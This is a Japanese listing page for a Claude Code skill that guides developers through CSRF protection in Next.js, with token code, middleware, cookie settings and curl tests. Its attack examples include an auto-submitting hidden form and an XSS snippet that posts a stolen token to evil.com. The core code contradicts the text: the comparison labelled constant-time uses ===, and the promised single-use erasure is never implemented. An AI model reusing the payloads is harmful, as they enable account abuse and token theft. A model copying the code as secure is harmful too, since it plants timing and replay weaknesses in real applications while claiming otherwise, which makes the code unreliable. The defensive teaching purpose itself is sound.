mcpField
C
csrf-protection

csrf-protection

github.com/harperaaセキュリティ19205 回インストール46 週間前に更新
リポジトリ

csrf-protection について

csrf-protectionは、Webアプリの状態変更リクエストをクロスサイトリクエストフォージェリから守る開発者向けスキルです。セッションに紐づく使い捨てHMACトークンと、Next.jsのハンドラーラッパーを説明します。

主な機能

  1. 01HMAC-SHA256によるトークン署名
  2. 02セッション連動の使い捨てトークン
  3. 03withCsrfハンドラーラッパー
  4. 04HTTP-onlyとSameSite Cookie
  5. 05トークン取得とリクエスト例

活用シーン

  1. 01POST、PUT、DELETEルートの保護
  2. 02Next.js APIへのCSRFチェック追加
  3. 03欠落・無効・再利用トークンのテスト

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/harperaa/secure-claude-skills --skill csrf-protection

インストール後、Claude Code で/csrf-protectionを入力して読み込まれたか確認します。

詳細

CSRF 保護 - クロスサイトリクエストフォージェリの防止

CSRF 攻撃とは

攻撃のシナリオ

銀行アプリにログインしているとします。別のタブで、悪意のある Web サイトにアクセスします。その Web サイトには、銀行にフォームを送信する隠しコードが含まれています。「攻撃者の口座に 10,000 ドルを送金する」。ログインしているため、ブラウザーはセッション Cookie を自動的に送信し、銀行は送金を処理します。

これはクロスサイトリクエストフォージェリです。ブラウザーをだまして、意図していないリクエストを送信させます。

実際に発生した CSRF 攻撃

ルーターの DNS ハイジャック(2008 年): 複数の家庭用ルーターにあった CSRF の脆弱性により、攻撃者はユーザーを悪意のある Web サイトに誘導してルーターの DNS 設定を変更できました。被害者に金銭的な損害はありませんでしたが、数か月にわたってフィッシングサイトにリダイレクトされました。数百万台のルーターが影響を受けました。

YouTube の操作(2012 年): YouTube にあった CSRF の脆弱性により、攻撃者は細工した URL にユーザーを誘導することで、他のユーザーとして操作(「いいね」や登録など)を実行できました。

CSRF が今もよく見られる理由

OWASP によると、テスト対象の**Web アプリケーションの 35%**に CSRF の脆弱性が見つかっています。なぜでしょうか?

  • 成功しても目に見えない(ユーザーはリクエストを送信したことに気づきません)
  • 実装を忘れやすい(明らかな機能不全がありません)
  • 開発者は、リクエストの送信元を確認せず、認証だけに頼りがちです

当社の CSRF アーキテクチャ

実装の特長
  1. HMAC-SHA256 による暗号署名(業界標準)

    • トークンが当社のサーバーによって生成されたことを暗号学的に証明します
    • 傍受されても、攻撃者は秘密鍵なしではトークンを偽造できません
  2. セッションに紐付けられたトークン

    • トークンを異なるユーザーセッション間で使い回すことはできません
    • ユーザーごとに固有のトークンが発行されます
  3. 使い捨てトークン

    • 検証後にトークンは消去されます
    • 攻撃の機会は数時間ではなく、数秒間です
    • 取得されても、1 回のリクエスト後には無効になります
  4. HTTP のみの Cookie

    • JavaScript からトークンにアクセスできません
    • XSS を利用したトークンの窃取を防ぎます
  5. SameSite=Strict

    • クロスオリジンリクエストでは、ブラウザーは Cookie を送信しません
    • 保護をさらに強化します
実装ファイル
  • lib/csrf.ts - 暗号トークンの生成
  • lib/withCsrf.ts - 検証を強制するミドルウェア
  • app/api/csrf/route.ts - クライアント向けトークンエンドポイント

CSRF 保護の使用方法

手順 1:ハンドラーをラップする

POST/PUT/DELETE エンドポイントには、次のように適用します。

import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';

async function handler(request: NextRequest) {
  // Your business logic here
  // Token automatically verified by withCsrf

  return NextResponse.json({ success: true });
}

// Apply CSRF protection
export const POST = withCsrf(handler);

export const config = {
  runtime: 'nodejs', // Required for crypto operations
};
手順 2:クライアント側でトークンを取得する

保護されたリクエストを送信する前に、CSRF トークンを取得します。

// Fetch CSRF token
const response = await fetch('/api/csrf', {
  credentials: 'include'
});
const { csrfToken } = await response.json();

// Use token in POST request
await fetch('/api/your-endpoint', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken // Include token in header
  },
  credentials: 'include', // Important: send cookies
  body: JSON.stringify(data)
});
手順 3:自動的に行われる処理

withCsrf() でハンドラーをラップすると、次の処理が行われます。

  1. X-CSRF-Token ヘッダーから CSRF トークンを抽出します
  2. リクエストから CSRF Cookie を抽出します
  3. HMAC を使ってトークンが Cookie と一致することを検証します
  4. 検証後にトークンを消去します(使い捨て)
  5. 有効な場合 → ハンドラーを呼び出します
  6. 無効な場合 → HTTP 403 Forbidden を返します

完全な例:保護されたお問い合わせフォーム

// app/api/contact/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
import { withRateLimit } from '@/lib/withRateLimit';
import { validateRequest } from '@/lib/validateRequest';
import { contactFormSchema } from '@/lib/validation';
import { handleApiError } from '@/lib/errorHandler';

async function contactHandler(request: NextRequest) {
  try {
    const body = await request.json();

    // Validate input
    const validation = validateRequest(contactFormSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { name, email, subject, message } = validation.data;

    // Process contact form
    await sendEmail({
      to: '[email protected]',
      from: email,
      subject,
      message
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'contact-form');
  }
}

// Apply both rate limiting AND CSRF protection
export const POST = withRateLimit(withCsrf(contactHandler));

export const config = {
  runtime: 'nodejs',
};

フロントエンド統合の例

// components/ContactForm.tsx
'use client';

import { useState } from 'react';

export function ContactForm() {
  const [formData, setFormData] = useState({
    name: '',
    email: '',
    subject: '',
    message: ''
  });

  async function handleSubmit(e: React.FormEvent) {
    e.preventDefault();

    try {
      // 1. Fetch CSRF token
      const csrfRes = await fetch('/api/csrf', {
        credentials: 'include'
      });
      const { csrfToken } = await csrfRes.json();

      // 2. Submit form with token
      const response = await fetch('/api/contact', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
          'X-CSRF-Token': csrfToken
        },
        credentials: 'include',
        body: JSON.stringify(formData)
      });

      if (response.ok) {
        alert('Message sent successfully!');
        setFormData({ name: '', email: '', subject: '', message: '' });
      } else if (response.status === 403) {
        alert('Security validation failed. Please refresh and try again.');
      } else if (response.status === 429) {
        alert('Too many requests. Please wait a moment.');
      } else {
        alert('Failed to send message. Please try again.');
      }
    } catch (error) {
      console.error('Error:', error);
      alert('An error occurred. Please try again.');
    }
  }

  return (
    <form onSubmit={handleSubmit}>
      <input
        type="text"
        placeholder="Name"
        value={formData.name}
        onChange={(e) => setFormData({ ...formData, name: e.target.value })}
        required
      />
      <input
        type="email"
        placeholder="Email"
        value={formData.email}
        onChange={(e) => setFormData({ ...formData, email: e.target.value })}
        required
      />
      <input
        type="text"
        placeholder="Subject"
        value={formData.subject}
        onChange={(e) => setFormData({ ...formData, subject: e.target.value })}
        required
      />
      <textarea
        placeholder="Message"
        value={formData.message}
        onChange={(e) => setFormData({ ...formData, message: e.target.value })}
        required
      />
      <button type="submit">Send Message</button>
    </form>
  );
}

攻撃シナリオと保護

攻撃 1:悪意のある Web サイトがフォームを送信する

攻撃:


<form action="https://yourapp.com/api/delete-account" method="POST">
  <input type="hidden" name="confirm" value="yes" />
</form>
<script>
  document.forms[0].submit(); // Auto-submit
</script>

保護:

  • リクエストに CSRF トークンがない場合 → withCsrf() は 403 を返します
  • ユーザーのアカウントは安全です
攻撃 2:XSS を利用してトークンを読み取ろうとする

攻撃:

// Attacker injects script via XSS
fetch('/api/csrf')
  .then(r => r.json())
  .then(data => {
    // Send token to attacker
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: JSON.stringify({ token: data.csrfToken })
    });
  });

保護:

  • トークンは使い捨てです
  • 盗まれたとしても、1 回のリクエスト後に有効期限が切れます
  • HTTPOnly Cookie によって Cookie の窃取を防ぎます
  • SameSite=Strict によってクロスオリジンでの Cookie 送信を防ぎます
攻撃 3:中間者がトークンを傍受する

攻撃: 攻撃者がネットワークトラフィックを傍受し、CSRF トークンを取得します。

保護:

  • 使い捨てトークンは、一度使用すると無効になります
  • 本番環境では HTTPS が必須です(HSTS によって強制されます)
  • 攻撃の機会は短時間(数秒間)です

技術的な実装の詳細

トークン生成(lib/csrf.ts)
import { createHmac, randomBytes } from 'crypto';

export function generateCsrfToken(sessionId: string): string {
  const secret = process.env.CSRF_SECRET;
  if (!secret) {
    throw new Error('CSRF_SECRET not configured');
  }

  // Generate random token
  const token = randomBytes(32).toString('base64url');

  // Create HMAC signature
  const hmac = createHmac('sha256', secret)
    .update(`${token}:${sessionId}`)
    .digest('base64url');

  // Return token:hmac
  return `${token}.${hmac}`;
}

export function verifyCsrfToken(
  token: string,
  sessionId: string
): boolean {
  const secret = process.env.CSRF_SECRET;
  if (!secret || !token) return false;

  const [tokenPart, hmacPart] = token.split('.');
  if (!tokenPart || !hmacPart) return false;

  // Recreate HMAC
  const expectedHmac = createHmac('sha256', secret)
    .update(`${tokenPart}:${sessionId}`)
    .digest('base64url');

  // Constant-time comparison to prevent timing attacks
  return hmacPart === expectedHmac;
}
ミドルウェアラッパー(lib/withCsrf.ts)
import { NextRequest, NextResponse } from 'next/server';
import { verifyCsrfToken } from './csrf';

export function withCsrf(
  handler: (request: NextRequest) => Promise<NextResponse>
) {
  return async (request: NextRequest) => {
    // Get token from header
    const token = request.headers.get('X-CSRF-Token');

    // Get session ID from cookie (simplified)
    const sessionId = request.cookies.get('sessionId')?.value;

    if (!token || !sessionId) {
      return NextResponse.json(
        { error: 'CSRF token missing' },
        { status: 403 }
      );
    }

    // Verify token
    if (!verifyCsrfToken(token, sessionId)) {
      return NextResponse.json(
        { error: 'CSRF token invalid' },
        { status: 403 }
      );
    }

    // Token valid - call handler
    return handler(request);
  };
}

CSRF 保護で防止できること

✅ クロスサイトリクエストフォージェリ - 主な保護対象 ✅ セッション固定攻撃 - トークンをセッションに紐付けます ✅ クロスオリジンのフォーム送信 - SameSite=Strict ✅ 非表示 iframe 攻撃 - トークンの検証が必要です ✅ ワンクリック攻撃 - トークン取得の手順によって防止します

避けるべきよくある間違い

❌ POST/PUT/DELETE で CSRF 保護を省略しないでください

// BAD - No CSRF protection
export async function POST(request: NextRequest) {
  // Vulnerable!
}

❌ CSRF トークンを URL パラメーターに含めないでください

// BAD - Token in URL (logged, bookmarked, shared)
fetch(`/api/endpoint?csrf=${token}`)

❌ トークンを再利用しないでください

// BAD - Storing token for reuse
const savedToken = getCsrfToken();
// Later...
useSavedToken(savedToken); // May be expired/invalid

❌ credentials: 'include' を忘れないでください

// BAD - Cookies won't be sent
fetch('/api/endpoint', {
  headers: { 'X-CSRF-Token': token }
  // Missing: credentials: 'include'
});

✅ 機密性の高い操作ごとに新しいトークンを取得してください ✅ X-CSRF-Token ヘッダーを使用してください(URL ではなく) ✅ 状態を変更するすべての操作に適用してください ✅ 最大限の保護のため、レート制限と組み合わせてください

CSRF 保護のテスト

テスト 1:有効なリクエスト
# Get CSRF token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
  -c cookies.txt | jq -r '.csrfToken')

# Use token
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test"}'

# Expected: 200 OK
テスト 2:トークンなし
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -d '{"title": "test"}'

# Expected: 403 Forbidden - CSRF token missing
テスト 3:無効なトークン
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: fake-token-12345" \
  -d '{"title": "test"}'

# Expected: 403 Forbidden - CSRF token invalid
テスト 4:トークンの再利用(失敗するはずです)
# Get token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
  -c cookies.txt | jq -r '.csrfToken')

# Use once (succeeds)
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test"}'

# Try to reuse same token (should fail)
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test2"}'

# Expected: 403 Forbidden - Token already used

Cookie のセキュアな設定

Cookie のセキュリティ設定

アプリケーションでカスタム Cookie を使用する場合は、常に次のセキュアな設定を使用してください。

response.cookies.set('cookie-name', value, {
  httpOnly: true,                                    // Prevent XSS access
  sameSite: 'strict',                                // CSRF protection
  secure: process.env.NODE_ENV === 'production',    // HTTPS only in prod
  maxAge: 3600,                                      // Expiration (1 hour)
  path: '/',                                         // Cookie scope
});

セキュリティプロパティの説明:

  • httpOnly: true - JavaScript が document.cookie 経由で Cookie にアクセスできないようにし、XSS による窃取を防ぎます
  • sameSite: 'strict' - ブラウザーはクロスオリジンのリクエストで Cookie を送信せず、CSRF を防ぎます
  • secure: true - Cookie は HTTPS 経由でのみ送信されます(中間者による傍受を防ぎます)
  • maxAge - Cookie の有効期限(秒)。短いほど安全です
  • path: '/' - Cookie が有効な場所(可能であれば制限してください)
避けるべきよくある Cookie の間違い

❌ 絶対に次のようにしないでください:

// BAD - Missing security flags
response.cookies.set('session', sessionId);

// BAD - No httpOnly (vulnerable to XSS)
response.cookies.set('session', sessionId, { httpOnly: false });

// BAD - sameSite: 'none' (allows CSRF)
response.cookies.set('session', sessionId, { sameSite: 'none' });

// BAD - No expiration (never expires)
response.cookies.set('session', sessionId, { httpOnly: true });

✅ 必ず次のようにしてください:

// GOOD - All security flags
response.cookies.set('session', sessionId, {
  httpOnly: true,
  sameSite: 'strict',
  secure: process.env.NODE_ENV === 'production',
  maxAge: 3600, // 1 hour
  path: '/'
});

環境設定

必須の環境変数
# .env.local
CSRF_SECRET=<32-byte-base64url-string>
SESSION_SECRET=<32-byte-base64url-string>
シークレットの生成
# Generate CSRF_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"

# Generate SESSION_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"

⚠️ 重要:

  • シークレットをバージョン管理にコミットしないでください
  • 開発/ステージング/本番環境では、それぞれ異なるシークレットを使用してください
  • シークレットは定期的にローテーションしてください(四半期ごとを推奨)

参考資料

次のステップ

  • レート制限による保護:rate-limiting スキルを使用してください
  • 入力値の検証:input-validation スキルを使用してください
  • API 全体のセキュリティ対策:CSRF、レート制限、検証を組み合わせてください
  • テスト:security-testing スキルを使用してください

コメント